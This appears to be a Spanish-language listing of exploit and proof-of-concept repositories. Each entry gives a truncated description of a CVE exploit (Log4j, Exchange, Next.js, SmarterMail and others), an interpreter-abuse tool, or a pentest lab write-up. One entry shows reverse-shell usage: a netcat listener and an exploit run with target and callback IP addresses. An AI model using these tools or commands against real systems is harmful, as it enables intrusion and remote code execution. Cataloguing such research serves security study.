PolyDrop

BYOSI - Trae-Tu-Propio-Intérprete-de-Scripts - Aprovechando el abuso de aplicaciones de confianza, uno puede entregar un intérprete de scripts compatible para un sistema Windows, Mac o Linux, así como código fuente malicioso en forma del intérprete de scripts específico elegido. Una vez que tanto...

nwn-exploit

Explotación de Neverwinter Nights: Enhanced Edition Este repositorio contiene un PoC para explotar Neverwinter Nights: Enhanced Editions. Este artículo detalla las vulnerabilidades y la explotación. Versión de Windows: 10.0.19045.2965 Neverwinter Night Enhanced Editions: versión vulnerable...

ResponsiveFileManager-CVE-2022-46604

ResponsiveFileManager-CVE-2022-46604 Responsive FileManager v.9.9.5 vulnerable a CVE-2022-46604 Bypass de extensión de creación de archivos que conduce a RCE. El exploit actual está realizado en Python 3 y explota la vulnerabilidad para subir una webshell que permite la ejecución remota de comand...

Microsoft-Exchange-RCE

Microsoft-Exchange-RCE Microsoft Exchange CVE-2021-26855&CVE-2021-27065...

CVE-2023-6019

Inyección de comandos en Ray OS RCE no autorizado Uso: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2024-1065

CVE-2024-1065 — PoC de explotación de page cache Exploit de prueba de concepto para CVE-2024-1065, un use-after-free de página física en el driver del kernel de la GPU ARM Mali. El exploit demuestra la explotación de page cache : mediante una condición de carrera, una página MIGRATEMOVABLE libera...

CVE-2026-20841

🛡️ CVE-2026-20841 - Herramienta de prueba de seguridad de Windows Notepad ⚠️ ¿Qué es CVE-2026-20841? CVE-2026-20841 es una debilidad de seguridad conocida en la aplicación Windows Notepad. Afecta la función de markdown, que permite a Notepad mostrar texto formateado con enlaces en los que se puede...

CVE-2026-0006-openapv-poc

CVE-2026-0006: Desbordamiento de búfer en el montón en libopenapv códec APV de Android Análisis del parche y reproducción por Mobile Hacking Lab CVSS 9.8 Crítico | Explotado activamente en la naturaleza | Parcheado en marzo de 2026 Nota: No descubrimos esta vulnerabilidad. Todo el crédito por...

CVE-2019-18426

Divulgación de vulnerabilidades de WhatsApp - Redirección abierta + Bypass de CSP + XSS persistente + permisos de lectura del FS + potencial para RCE CVE-2019-18426 Artículo técnico Documentos originales de divulgación de vulnerabilidades ¡Videos de demostración!...

Log4j-PoC

Prueba de concepto para Log4j CVE-2021-44228 Aviso legal Este proyecto es solo con fines educativos. Introducción Esta es una prueba de concepto del RCE de Log4j adaptada de HyCraftHD. Aquí hay algunos enlaces para el CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day...

CVE-2019-11447

CVE-2019-11447 - PoC Explota CuteNews 2.1.2 mediante comprobaciones deficientes de carga de archivos utilizadas al subir una imagen de avatar, lo que conduce a RCE. Instalación Clona el repositorio e instala los requisitos. pip install -r requirements.txt Uso Para subir un avatar necesitarás una...

CVE-2020-14321

CVE-2020-14321 Las inscripciones a cursos permitieron una escalada de privilegios desde el rol de profesor al rol de gestor hasta RCE Quizás alguien necesite un script de Python, por lo tanto, lo he escrito para explotarla. Cómo usar este PoC: How to use this PoC script Case 1. If you have vaid...

CVE-2017-8759-Exploit-sample

CVE-2017-8759-Exploit-sample Ejecutando la muestra de exploit CVE-2017-8759. Flujo del exploit: La macro de Word se ejecuta en el archivo Doc1.doc. La macro descarga un archivo txt mal formateado a través de wsdl, lo que activa el registro del analizador WSDL. Luego, el registro de análisis da co...

CVE-2024-48359

CVE-2024-48359 - Qualitor = v8.24 PoC de RCE no autenticado CVE-2024-48359 | Qualitor = v8.24 RCE Descripción Qualitor es una plataforma para la gestión de procesos de negocio, y este sistema está presente en varias empresas de Brasil que se pueden identificar simplemente mediante el uso de Googl...

Nextjs_Exploit_Tool

Next.js RSC RCE Exploit Tool CVE-2025-55182 Introducción del proyecto CVE-2025-55182 es una vulnerabilidad de alto riesgo presente en la cadena de procesamiento de los componentes del servidor RSC de Next.js. Mediante la construcción de solicitudes especiales multipart/form-data y bloques de...

CVE-2019-16941

CVE-2019-16941 Prueba de concepto: La vulnerabilidad requiere múltiples condiciones relativamente improbables para que se active, lo que limita su explotabilidad. Sin embargo, se necesita poco esfuerzo y comprensión para preparar un payload, dado que puede resultar en la ejecución arbitraria de...

n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate

n8n God Mode Ultimate - Escáner y Framework de Explotación de CVE-2025-68613 Herramienta avanzada de escaneo y explotación RCE para la automatización de workflows de n8n 🎯 Descripción general n8n God Mode Ultimate es un framework integral de pruebas de seguridad diseñado para detectar y validar...

CVE-2025-52691-APT-PoC

CVE-2025-52691 PoC: Carga Arbitraria de Archivos en SmarterMail RCE Mejorado con APT Este es un exploit de prueba de concepto PoC mejorado para CVE-2025-52691 , una vulnerabilidad crítica en el software de servidor de correo SmarterTools SmarterMail que permite la carga arbitraria de archivos sin...

CyberSecurity-Pentest-Lab

CyberSecurity Pentest Lab Notas personales de laboratorio de pruebas de penetración — write-ups de explotación práctica, post-explotación y remediación contra máquinas intencionalmente vulnerables Metasploitable 2, DockerLabs, realizados en entornos locales aislados como parte de la formación...

hackcar-writeup

Hackcar - Writeup Plataforma: DockerLabs Dificultad: Media más o menos, tiene su miga Objetivo: De webuser a root rompiendo una Next.js El arranque: reconocimiento Como siempre, primero lo primero: ver qué tenemos delante. nmap -sC -sV -T4 172.17.0.2 PORT STATE SERVICE VERSION 8080/tcp open http...